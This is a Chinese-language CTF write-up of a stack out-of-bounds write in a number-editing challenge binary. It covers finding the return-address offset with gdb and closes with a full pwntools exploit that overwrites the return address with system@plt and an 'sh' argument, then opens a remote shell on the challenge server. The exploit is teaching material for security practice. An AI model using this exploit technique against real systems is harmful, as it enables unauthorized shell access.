题目描述

执行程序后提示可以输入0~255大小的数字
先问要输入几个数字
然后输入相应个数的数字后跳出菜单
可以显示输入的数字,添加数字,改变数字,获得均值和退出

发现漏洞存在于更改数字时没有检查是否越界,于是可以修改栈上的数据

存在后门函数

所以可以通过再修改数字时把返回地址修改为后门函数的地址

本题的几个注意点

  1. 利用后门的方式在本地可以打通,但远程打不通(远程没有bash。实际上system(‘sh’)也可以getshell,通过布置system的plt表地址为返回地址的位置,’sh‘的地址为参数的位置即可
  2. 由于该程序为LSB小端序,低位字节存入低地址,高位字节存入高地址,所以在修改地址时我们需要从低地址到高地址由后往前书写
    12345678h在小端序中存放结果如图

  3. IDA分析出来的偏移量不正确,需要gdb调试得出结论,这里重点记录一下
    在一开始输入两个数255和254(0xff,0xfe)【这里输入两个数是因为发现如果只输入一个数,最后栈里会存在两个相同的数无法判断哪一个是我们想要的】
    在程序最后还没有开始退栈时下一个断点(局部变量还在)
    在程序退栈到ret指令时下一个断点,此时栈顶指向的就是返回地址的位置,计算我们输入的数的位置和最后栈顶的位置之差即可得到偏移,详细如图

在执行到第一个断点时,查看栈,数组首地址即我们输入的数位于0xffffcea8(一个地址代表了四个字节)

在执行到第二个断点时,查看栈,栈顶指向的地址位于0xffffcf2c

得到偏移为0xffffcf2c-0xffffcea8=132字节

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context.log_level = 'debug'
#r = process('./a')
r = remote("220.249.52.134",46074)
r.recvuntil("How many numbers you have:")
r.sendline('1')
r.recvuntil("Give me your numbers")
r.sendline('1')
r.recvuntil("exit")
sys_plt = 0x08048450
sh_addr = 0x08048987

def write_addr(addr, va):
r.sendline('3')
r.recvuntil(":")
r.sendline(str(addr))
r.recvuntil(":")
r.sendline(str(va))
r.recvuntil("exit")

write_addr(132, 0x50)
write_addr(133, 0x84)
write_addr(134, 0x04)
write_addr(135, 0x08)

write_addr(140,0x87)
write_addr(141,0x89)
write_addr(142,0x04)
write_addr(143,0x08)

r.sendline('5')
r.interactive()